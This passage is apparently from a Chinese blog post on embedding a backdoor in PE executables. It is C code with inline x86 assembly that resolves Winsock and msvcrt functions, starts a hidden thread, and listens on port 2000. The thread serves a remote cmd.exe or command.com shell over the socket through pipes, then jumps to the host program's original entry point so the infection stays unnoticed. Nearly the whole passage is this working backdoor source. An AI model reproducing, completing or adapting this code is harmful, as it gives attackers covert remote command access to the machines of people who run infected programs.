  375.     mov         dword ptr [ebp-120h],'tc'   
  376.     mov         dword ptr [ebp-11Ch],0000h   
  377.     lea eax,[ebp-124h]   
  378.     push eax    
  379.     push ebx   
  380.     call dword ptr [ebp-8h]   
  381.     mov   dword ptr [ebp-4040h],eax//select入口地址    
  382.     cmp         eax,0   
  383.     jz  exit1   
  384. //recv入口地址    
  385.     mov         dword ptr [ebp-124h],'vcer'   
  386.     mov         dword ptr [ebp-120h],0000h   
  387.     lea eax,[ebp-124h]   
  388.     push eax    
  389.     push ebx   
  390.     call dword ptr [ebp-8h]   
  391.     mov   dword ptr [ebp-4044h],eax//recv入口地址    
  392.     cmp         eax,0   
  393.     jz  exit1   
  394. //send入口地址    
  395.     mov         dword ptr [ebp-124h],'dnes'   
  396.     mov         dword ptr [ebp-120h],0000h   
  397.     lea eax,[ebp-124h]   
  398.     push eax    
  399.     push ebx   
  400.     call dword ptr [ebp-8h]   
  401.     mov   dword ptr [ebp-4048h],eax//send入口地址    
  402.     cmp         eax,0   
  403.     jz  exit1   
  404. //htons入口地址    
  405.     mov         dword ptr [ebp-124h],'noth'   
  406.     mov         dword ptr [ebp-120h],'s'   
  407.     mov         dword ptr [ebp-11Ch],0000h   
  408.     lea eax,[ebp-124h]   
  409.     push eax    
  410.     push ebx   
  411.     call dword ptr [ebp-8h]   
  412.     mov   dword ptr [ebp-404Ch],eax//htons入口地址    
  413.     cmp         eax,0   
  414.     jz  exit1   
  415. //bind入口地址    
  416.     mov         dword ptr [ebp-124h],'dnib'   
  417.     mov         dword ptr [ebp-120h],0000h   
  418.     lea eax,[ebp-124h]   
  419.     push eax    
  420.     push ebx   
  421.     call dword ptr [ebp-8h]   
  422.     mov   dword ptr [ebp-4050h],eax//bind入口地址    
  423.     cmp         eax,0   
  424.     jz  exit1   
  425. //listen入口地址    
  426.     mov         dword ptr [ebp-124h],'tsil'   
  427.     mov         dword ptr [ebp-120h],'ne'   
  428.     mov         dword ptr [ebp-11Ch],0000h   
  429.     lea eax,[ebp-124h]   
  430.     push eax    
  431.     push ebx   
  432.     call dword ptr [ebp-8h]   
  433.     mov   dword ptr [ebp-4054h],eax//listen入口地址    
  434.     cmp         eax,0   
  435.     jz  exit1   
  436. //accept入口地址    
  437.     mov         dword ptr [ebp-124h],'ecca'   
  438.     mov         dword ptr [ebp-120h],'tp'   
  439.     mov         dword ptr [ebp-11Ch],0000h   
  440.     lea eax,[ebp-124h]   
  441.     push eax    
  442.     push ebx   
  443.     call dword ptr [ebp-8h]   
  444.     mov   dword ptr [ebp-4058h],eax//accept入口地址    
  445.     cmp         eax,0   
  446.     jz  exit1   
  447.     }   
  448. //load msvcrt.dll    
  449.     _asm   
  450.     {   
  451.     mov         dword ptr [ebp-124h],'cvsm'   
  452.     mov         dword ptr [ebp-120h],'d.tr'   
  453.     mov         dword ptr [ebp-11Ch],'ll'   
  454.     mov         dword ptr [ebp-118h],0000h   
  455.     lea eax,[ebp-124h]   
  456.     push eax    
  457.     call dword ptr [ebp-400ch]   
  458.     cmp         eax,0   
  459.     jz  exit1   
  460.     mov ebx,eax   
  461. //memset入口地址    
  462.     mov         dword ptr [ebp-124h],'smem'   
  463.     mov         dword ptr [ebp-120h],'te'   
  464.     mov         dword ptr [ebp-11Ch],0000h   
  465.     lea eax,[ebp-124h]   
  466.     push eax    
  467.     push ebx   
  468.     call dword ptr [ebp-8h]   
  469.     mov   dword ptr [ebp-4090h],eax//memset入口地址    
  470.     cmp         eax,0   
  471.     jz  exit1   
  472.     }   
  473.    
  474. //////////////////////////////////////////////////////////////    
  475.    
  476. //建立后门线程    
  477.    
  478. /////////////////////////////////////////////////////////////    
  479.     _asm   
  480.     {   
  481.    call    ex   
  482.    add     ecx,32h //取得后门代码的地址    
  483.    mov     dword ptr [ebp-8],1   
  484.    mov     dword ptr [ebp-0Ch],0   
  485.    mov     dword ptr [ebp-10h],0Ch   
  486.    lea     eax,[ebp-4]   
  487.    push    eax   
  488.    push    0   
  489.    push    0   
  490.    push    ecx   
  491.    push    0   
  492.    lea     ecx,[ebp-10h]   
  493.    push    ecx   
  494.    call    dword ptr [ebp-4008h]   
  495.    call    exit1 //返回真正的代码    
  496.         }   
  497. //////////////////////////////////////////////////////////////    
  498. //建立后门    
  499. /////////////////////////////////////////////////////////////    
  500.     _asm   
  501.    {   
  502.         mov eax,0x400   
  503.     call ex1   
  504.     mov ebp,dword ptr [ecx-0C70h]   
  505.    mov     byte ptr [ebp-1340h],0Dh   
  506.    mov     dword ptr [ebp-11ECh],0FFFFFFFFh   
  507.    mov     dword ptr [ebp-1DCh],0   
  508.    mov     dword ptr [ebp-1D8h],32h   
  509.    mov     dword ptr [ebp-1E4h],10h   
  510.    call    dword ptr [ebp-4004h]   
  511.    cmp     eax,80000000h   
  512.    jnb     loc_0040106C   
  513.    mov     dword ptr [ebp-11ECh],1   
  514.    mov     dword ptr [ebp-4118h],'.dmc'   
  515.    mov     dword ptr [ebp-4114h],'exe'   
  516.    mov     dword ptr [ebp-4110h],00000000h   
  517.    jmp     loc_0040107D   
  518. loc_0040106C:   
  519.    mov     dword ptr [ebp-11ECh],0   
  520.    mov     dword ptr [ebp-4118h],'mmoc'   
  521.    mov     dword ptr [ebp-4114h],'.dna'   
  522.    mov     dword ptr [ebp-4110h],'moc'   
  523. loc_0040107D:   
  524.    lea     eax,[ebp-1D4h]   
  525.    push    eax   
  526.    push    101h   
  527.    call    dword ptr [ebp-4030h]   
  528.    push    0   
  529.    push    1   
  530.    push    2   
  531.    call    dword ptr [ebp-4038h]   
  532.    mov     [ebp-30h],eax   
  533.    push    0   
  534.    push    1   
  535.    push    2   
  536.    call    dword ptr [ebp-4038h]   
  537.    mov     [ebp-12F8h],eax   
  538.    mov     word ptr [ebp-28h],2   
  539.    push    7D0h   
  540.    call    dword ptr [ebp-404Ch]   
  541.    mov     [ebp-26h],ax   
  542.    mov     dword ptr [ebp-24h],0   
  543.    mov     dword ptr [ebp-44h],0Ch   
  544.    mov     dword ptr [ebp-40h],0   
  545.    mov     dword ptr [ebp-3Ch],1   
  546.    push    10h   
  547.    lea     ecx,[ebp-28h]   
  548.    push    ecx   
  549.    mov     edx,[ebp-30h]   
  550.    push    edx   
  551.    call    dword ptr [ebp-4050h]   
  552.    push    2   
  553.    mov     eax,[ebp-30h]   
  554.    push    eax   
  555.    call    dword ptr [ebp-4054h]   
  556. loc_004010F7:   
  557.    lea     ecx,[ebp-1E4h]   
  558.    push    ecx   
  559.    lea     edx,[ebp-28h]   
  560.    push    edx   
  561.    mov     eax,[ebp-30h]   
  562.    push    eax   
  563.    call    dword ptr [ebp-4058h]   
  564.    mov     [ebp-12F8h],eax   
  565.    cmp     dword ptr [ebp-12F8h],0FFFFFFFFh   
  566.    jnz     loc_00401121   
  567.    xor     eax,eax   
  568.    jmp     loc_00401419   
  569. loc_00401121:   
  570.    push    0   
  571.    lea     ecx,[ebp-44h]   
  572.    push    ecx   
  573.    lea     edx,[ebp-34h]   
  574.    push    edx   
  575.    lea     eax,[ebp-38h]   
  576.    push    eax   
  577.    call    dword ptr [ebp-4000h]   
  578.    test    eax,eax   
  579.    jnz     loc_00401140   
  580.    xor     eax,eax   
  581.    jmp     loc_00401419   
  582. loc_00401140:   
  583.    push    0   
  584.    lea     ecx,[ebp-44h]   
  585.    push    ecx   
  586.    lea     edx,[ebp-1E0h]   
  587.    push    edx   
  588.    lea     eax,[ebp-2Ch]   
  589.    push    eax   
  590.    call    dword ptr [ebp-4000h]   
  591.    push    44h   
  592.    push    0   
  593.    lea     ecx,[ebp-133Ch]   
  594.    push    ecx   
  595.    call    dword ptr [ebp-4090h]   
  596.    add     esp,0Ch   
  597.    lea     edx,[ebp-133Ch]   
  598.    push    edx   
  599.    call    dword ptr [ebp-4028h]   
  600.    mov     dword ptr [ebp-133Ch],44h   
  601.    mov     dword ptr [ebp-1310h],101h   
  602.    mov     word ptr [ebp-130Ch],0   
  603.    mov     eax,[ebp-34h]   
  604.    mov     [ebp-12FCh],eax   
  605.    mov     ecx,[ebp-2Ch]   
  606.    mov     [ebp-1304h],ecx   
  607.    mov     edx,[ebp-34h]   
  608.    mov     [ebp-1300h],edx   
  609.    lea     eax,[ebp-14h]   
  610.    push    eax   
  611.    lea     ecx,[ebp-133Ch]   
  612.    push    ecx   
  613.    push    0   
  614.    push    0   
  615.    push    0   
  616.    push    1   
  617.    push    0   
  618.    push    0   
  619.    lea     edx,[ebp-4118h]   
  620.    push    edx   
  621.    push    0   
  622.    call    dword ptr [ebp-402Ch]   
  623.    test    eax,eax   
  624.    jnz     loc_004011DD   
  625.    xor     eax,eax   
  626.    jmp     loc_00401419   
  627. loc_004011DD:   
  628.    push    0C8h   
  629.    call    dword ptr [ebp-4018h]   
  630. loc_004011E8:   
  631.    mov     eax,1   
  632.    test    eax,eax   
  633.    je      loc_004013C8   
  634.    push    1000h   
  635.    push    0   
  636.    lea     ecx,[ebp-11E8h]   
  637.    push    ecx   
  638.    call    dword ptr [ebp-4090h]   
  639.    add     esp,0Ch   
  640.    mov     dword ptr [ebp-12F4h],0   
  641. loc_00401215:   
  642.    cmp     dword ptr [ebp-12F4h],40h   
  643.    jnb     loc_00401240   
  644.    mov     edx,[ebp-12F4h]   
  645.    mov     eax,[ebp-12F8h]   
  646.    mov     [ebp+edx*4-12F0h],eax   
  647.    mov     ecx,[ebp-12F4h]   
  648.    add     ecx,1   
  649.    mov     [ebp-12F4h],ecx   
  650. loc_00401240:   
  651.    xor     edx,edx   
  652.    test    edx,edx   
  653.    jnz     loc_00401215   
  654.    lea     eax,[ebp-1DCh]   
  655.    push    eax   
  656.    push    0   
  657.    push    0   
  658.    lea     ecx,[ebp-12F4h]   
  659.    push    ecx   
  660.    push    0   
  661.    call    dword ptr [ebp-4040h]   
  662.    mov     [ebp-11F0h],eax   
  663.    cmp     dword ptr [ebp-11F0h],0   
  664.    je      loc_00401338   
  665.    cmp     dword ptr [ebp-11F0h],0FFFFFFFFh   
  666.    je      loc_00401338   
  667.    lea     edx,[ebp-12F4h]   
  668.    push    edx   
  669.    mov     eax,[ebp-12F8h]   
  670.    push    eax   
  671.    call    dword ptr [ebp-4034h]   
  672.    test    eax,eax   
  673.    jz      loc_004012B6   
  674.    push    0   
  675.    push    1000h   
  676.    lea     ecx,[ebp-11E8h]   
  677.    push    ecx   
  678.    mov     edx,[ebp-12F8h]   
  679.    push    edx   
  680.    call    dword ptr [ebp-4044h]   
  681.    mov     [ebp-1E8h],eax   
  682. loc_004012B6:   
  683.    cmp     dword ptr [ebp-1E8h],0   
  684.    ja      loc_004012C4   
  685.    jmp     loc_00401417   
  686. loc_004012C4:   
  687.    push    0   
  688.    lea     eax,[ebp-1E8h]   
  689.    push    eax   
  690.    mov     ecx,[ebp-1E8h]   
  691.    push    ecx   
  692.    lea     edx,[ebp-11E8h]   
  693.    push    edx   
  694.    mov     eax,[ebp-1E0h]   
  695.    push    eax   
  696.    call    dword ptr [ebp-401Ch]   
  697.    mov     [ebp-11F0h],eax   
  698.    cmp     dword ptr [ebp-11F0h],0   
  699.    jnz     loc_004012FC   
  700.    jmp     loc_00401415   
  701. loc_004012FC:   
  702.    cmp     dword ptr [ebp-11ECh],0   
  703.    jnz     loc_0040132A   
  704.    push    0   
  705.    lea     ecx,[ebp-1E8h]   
  706.    push    ecx   
  707.    push    1   
  708.    lea     edx,[ebp-1340h]   
  709.    push    edx   
  710.    mov     eax,[ebp-1E0h]   
  711.    push    eax   
  712.    call    dword ptr [ebp-401Ch]   
  713.    mov     [ebp-11F0h],eax   
  714. loc_0040132A:   
  715.    cmp     dword ptr [ebp-11F0h],0   
  716.    jnz     loc_00401338   
  717.    jmp     loc_00401413   
  718. loc_00401338:   
  719.    push    1000h   
  720.    push    0   
  721.    lea     ecx,[ebp-11E8h]   
  722.    push    ecx   
  723.    call    dword ptr [ebp-4090h]   
  724.    add     esp,0Ch   
  725.    push    0   
  726.    lea     edx,[ebp-4]   
  727.    push    edx   
  728.    push    0   
  729.    push    0   
  730.    push    0   
  731.    mov     eax,[ebp-38h]   
  732.    push    eax   
  733.    call    dword ptr [ebp-4020h]   
  734.    cmp     dword ptr [ebp-4],0   
  735.    jbe     loc_004013C3   
  736.    push    0   
  737.    lea     ecx,[ebp-1E8h]   
  738.    push    ecx   
  739.    mov     edx,[ebp-4]   
  740.    push    edx   
  741.    lea     eax,[ebp-11E8h]   
  742.    push    eax   
  743.    mov     ecx,[ebp-38h]   
  744.    push    ecx   
  745.    call    dword ptr [ebp-4024h]   
  746.    mov     [ebp-11F0h],eax   
  747.    cmp     dword ptr [ebp-11F0h],0   
  748.    jnz     loc_00401399   
  749.    jmp     loc_00401411   
  750. loc_00401399:   
  751.    push    0   
  752.    mov     edx,[ebp-4]   
  753.    push    edx   
  754.    lea     eax,[ebp-11E8h]   
  755.    push    eax   
  756.    mov     ecx,[ebp-12F8h]   
  757.    push    ecx   
  758.    call    dword ptr [ebp-4048h]   
  759.    mov     [ebp-11F0h],eax   
  760.    cmp     dword ptr [ebp-11F0h],0   
  761.    jg      loc_004013C3   
  762.    jmp     loc_0040140F   
  763. loc_004013C3:   
  764.    jmp     loc_004011E8   
  765. loc_004013C8:   
  766.    mov     edx,[ebp-1E0h]   
  767.    push    edx   
  768.    call    dword ptr [ebp-4010h]   
  769.    mov     eax,[ebp-38h]   
  770.    push    eax   
  771.    call    dword ptr [ebp-4010h]   
  772.    mov     ecx,[ebp-2Ch]   
  773.    push    ecx   
  774.    call    dword ptr [ebp-4010h]   
  775.    mov     edx,[ebp-34h]   
  776.    push    edx   
  777.    call    dword ptr [ebp-4010h]   
  778.    mov     eax,[ebp-12F8h]   
  779.    push    eax   
  780.    call    dword ptr [ebp-403Ch]   
  781.    push    3E8h   
  782.    call    dword ptr [ebp-4018h]   
  783.    jmp     loc_004010F7   
  784. loc_0040140F:   
  785.    jmp     loc_004013C8   
  786. loc_00401411:   
  787.    jmp     loc_004013C8   
  788. loc_00401413:   
  789.    jmp     loc_004013C8   
  790. loc_00401415:   
  791.    jmp     loc_004013C8   
  792. loc_00401417:   
  793.    jmp     loc_004013C8   
  794. loc_00401419:   
  795.    mov     esp,ebp   
  796.    pop     ebp   
  797.    ret   
  798.    }   
  799.       
  800. /////////////////////////////////////////////////////////////    
  801. ex:   
  802.     _asm   
  803.     {   
  804.         pop ecx   
  805.         push ecx   
  806.         ret   
  807.     }   
  808. ex1:   
  809.     _asm   
  810.     {   
  811.     call ex   
  812.     ret   
  813.     }   
  814. exit1:   
  815. ///////////////////////////////////////////////////////////////    
  816.    _asm   
  817.    {   
  818.     mov eax,0x401000 //这里需要更改为程序人口    
  819.     jmp eax   
  820.   }   
  821. return 0;   
  822. }  

原文链接: http://blog.csdn.net/yincheng01/article/details/4250312

你可能感兴趣的:(PE可执行文件的镶入式程序后门开发)